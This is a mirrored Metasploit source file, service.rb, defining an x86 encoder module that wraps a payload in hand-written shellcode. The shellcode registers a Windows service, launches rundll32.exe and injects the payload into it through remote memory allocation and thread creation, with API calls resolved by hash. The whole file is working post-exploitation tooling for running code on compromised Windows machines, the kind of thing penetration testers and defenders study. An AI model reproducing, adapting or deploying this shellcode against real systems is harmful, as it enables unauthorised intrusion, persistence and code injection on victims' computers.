Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

service.rb 5.1KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128
  1. require 'metasm'
  2. require 'msf/core'
  3. class MetasploitModule < Msf::Encoder
  4. Rank = ManualRanking
  5. def initialize
  6. super(
  7. 'Name' => 'Register service',
  8. 'Version' => '$Revision: 14774 $',
  9. 'Description' => 'Register service if used with psexec for example',
  10. 'Author' => 'agix',
  11. 'Arch' => ARCH_X86,
  12. 'License' => MSF_LICENSE,
  13. 'EncoderType' => Msf::Encoder::Type::Raw
  14. )
  15. end
  16. @@cpu32 = Metasm::Ia32.new
  17. def assemble(src, cpu=@@cpu32)
  18. Metasm::Shellcode.assemble(cpu, src).encode_string
  19. end
  20. def can_preserve_registers?
  21. true
  22. end
  23. def modified_registers
  24. []
  25. end
  26. def preserves_stack?
  27. true
  28. end
  29. def string_to_pushes(string)
  30. str = string.dup
  31. # Align string to 4 bytes
  32. rem = (str.length) % 4
  33. if rem > 0
  34. str << "\x00" * (4 - rem)
  35. pushes = ''
  36. else
  37. pushes = "h\x00\x00\x00\x00"
  38. end
  39. # string is now 4 bytes aligned with null byte
  40. # push string to stack, starting at the back
  41. while str.length > 0
  42. four = 'h'+str.slice!(-4,4)
  43. pushes << four
  44. end
  45. pushes
  46. end
  47. def encode_block(state, block)
  48. nb_iter = rand(0x2fffffff)+0xfffffff
  49. push_registers = ''
  50. pop_registers = ''
  51. if datastore['SaveRegisters']
  52. datastore['SaveRegisters'].split(" ").each { |reg|
  53. push_registers += assemble("push %s"%reg)
  54. pop_registers = assemble("pop %s"%reg) + pop_registers
  55. }
  56. end
  57. name = ENV['MSF_SERVICENAME']
  58. name ||= Rex::Text.rand_text_alpha(8)
  59. pushed_service_name = string_to_pushes(name)
  60. precode_size = 0xc6
  61. svcmain_code_offset = precode_size + pushed_service_name.length
  62. precode_size = 0xcc
  63. hash_code_offset = precode_size + pushed_service_name.length
  64. precode_size = 0xbf
  65. svcctrlhandler_code_offset = precode_size + pushed_service_name.length
  66. code_service_stopped =
  67. "\xE8\x00\x00\x00\x00\x5F\xEB\x07\x58\x58\x58\x58\x31\xC0\xC3" +
  68. "#{pushed_service_name}\x89\xE1\x8D\x47\x03\x6A\x00" +
  69. "\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A" +
  70. "\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" +
  71. "\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5"
  72. precode_size = 0x42
  73. shellcode_code_offset = code_service_stopped.length + precode_size
  74. # code_service could be encoded in the future
  75. code_service =
  76. "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
  77. "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
  78. "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
  79. "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
  80. "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
  81. "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
  82. "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
  83. "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
  84. "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
  85. "\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" +
  86. "\x26\x07\xFF\xD5#{pushed_service_name}\x89\xE1" +
  87. "\x8D\x85#{[svcmain_code_offset].pack('I<')}\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
  88. "\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
  89. "\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" +
  90. "#{[hash_code_offset].pack('I<') + pushed_service_name}\x89\xE1\x8D" +
  91. "\x85#{[svcctrlhandler_code_offset].pack('I<')}\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
  92. "\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
  93. "\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" +
  94. "\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" +
  95. "\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" +
  96. "\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" +
  97. "\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" +
  98. "\x40\x68\x00\x10\x00\x00\x68#{[block.length].pack('I<')}\x57\x51\x68\xAE\x87" +
  99. "\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" +
  100. "#{[shellcode_code_offset].pack('I<')}\x54\x68#{[block.length].pack('I<')}" +
  101. "\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" +
  102. "\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" +
  103. "\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" +
  104. "\x51\x68\xC6\x96\x87\x52\xFF\xD5#{code_service_stopped}"
  105. return push_registers + code_service + pop_registers + block
  106. end
  107. end